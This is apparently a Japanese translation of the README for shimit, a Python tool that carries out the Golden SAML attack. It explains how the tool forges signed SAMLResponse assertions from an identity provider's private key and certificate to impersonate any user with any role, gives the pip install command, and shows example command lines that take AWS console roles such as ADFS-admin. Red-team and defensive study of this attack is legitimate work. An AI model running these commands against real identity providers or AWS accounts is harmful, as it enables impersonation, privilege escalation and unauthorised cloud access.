
shimit は、Golden SAML 攻撃を実装する Python ツールです。詳細な情報は、こちらの 記事 をご参照ください。
python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
██╗ ███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╗ ██╗
██╔╝ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ██╔╝ ╚██╗
██╔╝ ███████╗███████║██║██╔████╔██║██║ ██║ ██╔╝ ╚██╗
╚██╗ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ██╔╝ ██╔╝
╚██╗ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ██╔╝ ██╔╝
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝
Golden SAML 攻撃では、攻撃者は SAML 認証をサポートする任意のアプリケーションに対して、望む任意の権限でアクセスし、ターゲットアプリケーション上の任意のユーザーになることができます。
shimit を使用すると、ユーザーは署名済みの SAMLResponse オブジェクトを作成し、それをサービスプロバイダーでセッションを開くために使用できます。現在、shimit はサービスプロバイダーとして AWS コンソールをサポートしており、さらに多くのプロバイダーが開発中です。
署名済みの SAMLResponse の assertion を生成した後、shimit は AWS の AssumeRoleWithSAML() API を呼び出します。その後、セッショントークンとキーが新しいセッションに適用され、ユーザーは golden SAML によって取得した権限を使用して aws cli でアクションを実行できます。
必要なモジュールをインストールするには、以下のコマンドを実行してください。
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
取得した認証情報を使用するためにインストールする必要があります。 以下のリンクから Windows または Linux 向けにダウンロードできます。
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012
idp - ID プロバイダー URL(例: http://server.domain.com/adfs/services/trust)
pk - 秘密鍵ファイルのフルパス(pem 形式)
c - 証明書ファイルのフルパス(pem 形式)
u - ユーザーおよびドメイン名(例: domain\username)(*nix では \ または引用符を使用)
n - AWS のセッション名
r - AWS の希望するロール。複数のロールに対応しており、最初に指定されたロールが引き継がれます。
id - AWS アカウント ID(例: 123456789012)
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o - エンコードされた SAMLResponse を指定されたファイルパスに出力
python .\shimit.py -l saml_response.xml
l - 指定されたファイルパスから SAMLResponse を読み込み
shimit は現在、PoC として AWS をサービスプロバイダーとしてサポートしています。他のサービスプロバイダー向けの新しいモジュールをぜひご提供ください。